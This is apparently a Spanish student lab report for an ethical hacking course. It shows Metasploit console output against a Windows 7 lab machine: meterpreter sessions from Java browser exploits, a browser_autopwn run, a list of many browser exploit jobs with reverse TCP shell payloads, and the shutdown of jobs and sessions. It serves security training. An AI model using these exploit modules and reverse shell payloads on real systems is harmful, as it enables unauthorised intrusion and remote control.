HACKING ÉTICO

Unidad 3. Actividad 4

03 DE ABRIL DE 2024

CARLOS DÍAZ MONTES
ESPECIALIZACIÓN DE CIBERSEGURIDAD

Índice

Manejo de múltiples sesiones y jobs en metasploit

Ejercicio 1: Captura de tu sesión meterpreter

En mi caso tenia como id 6:

```
msf6 exploit(multi/browser/java_jre17_jaxws) > sessions -i

Active sessions
===============

  Id  Name  Type                     Information      Connection
  --  ----  ----                     -----------      ----------
  6         meterpreter java/windows  cyberlab @ WIN7  10.0.3.4:4444 → 10.0.3.14:49354 (10.0.3.14)

msf6 exploit(multi/browser/java_jre17_jaxws) > sessions -i 6
[*] Starting interaction with 6...

meterpreter > background
[*] Backgrounding session 6...
msf6 exploit(multi/browser/java_jre17_jaxws) > Soy Carlos Diaz
```

Ejercicio 2: Sesiones en background de autopwn

```
msf6 auxiliary(server/browser_autopwn) > sessions

Active sessions
===============

  Id  Name  Type                   Information  Connection
  --  ----  ----                   -----------  ----------
  7         meterpreter java/java               10.0.3.4:7777 → 10.0.3.14:49392 (10.0.3.14)


[*] 10.0.3.14         java_jre17_jmxbean - handling request for /drEGpxbDBTq
[*] 10.0.3.14         java_jre17_reflection_types - handling request for /HEslqufAusKX
[*] 10.0.3.14         java_jre17_jmxbean - handling request for /drEGpxbDBTq/
[*] 10.0.3.14         java_jre17_provider_skeleton - handling request for /hMLDJvFXwRb
[*] 10.0.3.14         java_atomicreferencearray - Sending Java AtomicReferenceArray Type Violation Vulnerability
msf6 auxiliary(server/browser_autopwn) > [*] 10.0.3.14         java_atomicreferencearray - Generated jar to drop (5258 bytes).
[*] 10.0.3.14         java_jre17_reflection_types - handling request for /HEslqufAusKX/
[*] 10.0.3.14         java_verifier_field_access - Sending Java Applet Field Bytecode Verifier Cache Remote Code Execution
[*] 10.0.3.14         java_verifier_field_access - Generated jar to drop (5258 bytes).
[*] 10.0.3.14         java_rhino - Java Applet Rhino Script Engine Remote Code Execution handling request
[*] 10.0.3.14         java_jre17_provider_skeleton - handling request for /hMLDJvFXwRb/
[*] 10.0.3.14         java_jre17_jmxbean - handling request for /drEGpxbDBTq/yczNHYvo.jar
[*] 10.0.3.14         java_atomicreferencearray - Sending jar
[*] 10.0.3.14         java_jre17_jmxbean - handling request for /drEGpxbDBTq/yczNHYvo.jar
[*] 10.0.3.14         java_atomicreferencearray - Sending jar
[*] 10.0.3.14         java_verifier_field_access - Sending jar
[*] 10.0.3.14         java_verifier_field_access - Sending jar
[*] 10.0.3.14         java_jre17_provider_skeleton - handling request for /hMLDJvFXwRb/CKxu.jar
[*] 10.0.3.14         java_jre17_provider_skeleton - handling request for /hMLDJvFXwRb/CKxu.jar
[*] 10.0.3.14         java_rhino - Java Applet Rhino Script Engine Remote Code Execution handling request
[*] 10.0.3.14         java_rhino - Java Applet Rhino Script Engine Remote Code Execution handling request
[*] 10.0.3.14         java_rhino - Java Applet Rhino Script Engine Remote Code Execution handling request
[*] 10.0.3.14         java_rhino - Java Applet Rhino Script Engine Remote Code Execution handling request
```

Ejercicio 3: Jobs en background

```
msf6 auxiliary(server/browser_autopwn) > jobs

Jobs
====

  Id  Name                                                  Payload                          Payload opts
  --  ----                                                  -------                          ------------
  14  Auxiliary: server/browser_autopwn
  15  Exploit: android/browser/webview_addjavascriptinterface    android/meterpreter/reverse_tcp  tcp://10.0.3.4:8888 (setting up)
  16  Exploit: multi/browser/firefox_proto_crmfrequest            generic/shell_reverse_tcp        tcp://10.0.3.4:6666 (setting up)
  17  Exploit: multi/browser/firefox_tostring_console_injection   generic/shell_reverse_tcp        tcp://10.0.3.4:6666 (setting up)
  18  Exploit: multi/browser/firefox_webidl_injection             generic/shell_reverse_tcp        tcp://10.0.3.4:6666 (setting up)
  19  Exploit: multi/browser/java_atomicreferencearray            java/meterpreter/reverse_tcp     tcp://10.0.3.4:7777 (setting up)
  20  Exploit: multi/browser/java_jre17_jmxbean                   java/meterpreter/reverse_tcp     tcp://10.0.3.4:7777 (setting up)
  21  Exploit: multi/browser/java_jre17_provider_skeleton         java/meterpreter/reverse_tcp     tcp://10.0.3.4:7777 (setting up)
  22  Exploit: multi/browser/java_jre17_reflection_types          java/meterpreter/reverse_tcp     tcp://10.0.3.4:7777 (setting up)
  23  Exploit: multi/browser/java_rhino                           java/meterpreter/reverse_tcp     tcp://10.0.3.4:7777 (setting up)
  24  Exploit: multi/browser/java_verifier_field_access           java/meterpreter/reverse_tcp     tcp://10.0.3.4:7777 (setting up)
  25  Exploit: multi/browser/opera_configoverwrite                generic/shell_reverse_tcp        tcp://10.0.3.4:6666 (setting up)
  26  Exploit: windows/browser/adobe_flash_mp4_cprt               windows/meterpreter/reverse_tcp  tcp://10.0.3.4:3333 (setting up)
  27  Exploit: windows/browser/adobe_flash_rtmp                   windows/meterpreter/reverse_tcp  tcp://10.0.3.4:3333 (setting up)
  28  Exploit: windows/browser/ie_cgenericelement_uaf             windows/meterpreter/reverse_tcp  tcp://10.0.3.4:3333 (setting up)
  29  Exploit: windows/browser/ie_createobject                    windows/meterpreter/reverse_tcp  tcp://10.0.3.4:3333 (setting up)
  30  Exploit: windows/browser/ie_execcommand_uaf                 windows/meterpreter/reverse_tcp  tcp://10.0.3.4:3333 (setting up)
  31  Exploit: windows/browser/mozilla_nstreerange                windows/meterpreter/reverse_tcp  tcp://10.0.3.4:3333 (setting up)
  32  Exploit: windows/browser/ms13_080_cdisplaypointer           windows/meterpreter/reverse_tcp  tcp://10.0.3.4:3333 (setting up)
  33  Exploit: windows/browser/ms13_090_cardspacesigninhelper     windows/meterpreter/reverse_tcp  tcp://10.0.3.4:3333 (setting up)
  34  Exploit: windows/browser/msxml_get_definition_code_exec     windows/meterpreter/reverse_tcp  tcp://10.0.3.4:3333 (setting up)
  35  Exploit: multi/handler                                      windows/meterpreter/reverse_tcp  tcp://10.0.3.4:3333
  36  Exploit: multi/handler                                      generic/shell_reverse_tcp        tcp://10.0.3.4:6666
  37  Exploit: multi/handler                                      java/meterpreter/reverse_tcp     tcp://10.0.3.4:7777
  38  Auxiliary: server/browser_autopwn
  39  Exploit: android/browser/webview_addjavascriptinterface    android/meterpreter/reverse_tcp  tcp://10.0.3.4:8888 (setting up)
  40  Exploit: multi/browser/firefox_proto_crmfrequest            generic/shell_reverse_tcp        tcp://10.0.3.4:6666 (setting up)
```

Ejercicio 4: Entrar en una sesión

```
meterpreter > sysinfo
Computer        : WIN7
OS              : Windows 7 6.1 (x86)
Architecture    : x86
System Language : en_US
Meterpreter     : java/windows
```

Ejercicio 5: Sal de manera ordenada

```
msf6 exploit(multi/browser/java_jre17_jaxws) > jobs -K
Stopping all jobs...

[*] Cleaning up exploits...
[*] Server stopped.
msf6 exploit(multi/browser/java_jre17_jaxws) > sessions -K
[*] Killing all sessions...
[*] 10.0.3.14 - Meterpreter session 8 closed.
[*] 10.0.3.14 - Meterpreter session 9 closed.
[*] 10.0.3.14 - Meterpreter session 10 closed.
[*] 10.0.3.14 - Meterpreter session 11 closed.
[*] 10.0.3.14 - Meterpreter session 12 closed.
[*] 10.0.3.14 - Meterpreter session 13 closed.
[*] 10.0.3.14 - Meterpreter session 13 closed.  Reason: Died
[*] 10.0.3.14 - Meterpreter session 14 closed.
[*] 10.0.3.14 - Meterpreter session 14 closed.  Reason: Died
[*] 10.0.3.14 - Meterpreter session 15 closed.
msf6 exploit(multi/browser/java_jre17_jaxws) > [*] 10.0.3.14 - Meterpreter session 15 closed.  Reason: Died

msf6 exploit(multi/browser/java_jre17_jaxws) > sessions

Active sessions
===============

No active sessions.

msf6 exploit(multi/browser/java_jre17_jaxws) > jobs

Jobs
====

No active jobs.

msf6 exploit(multi/browser/java_jre17_jaxws) > Soy Carlos Diaz
```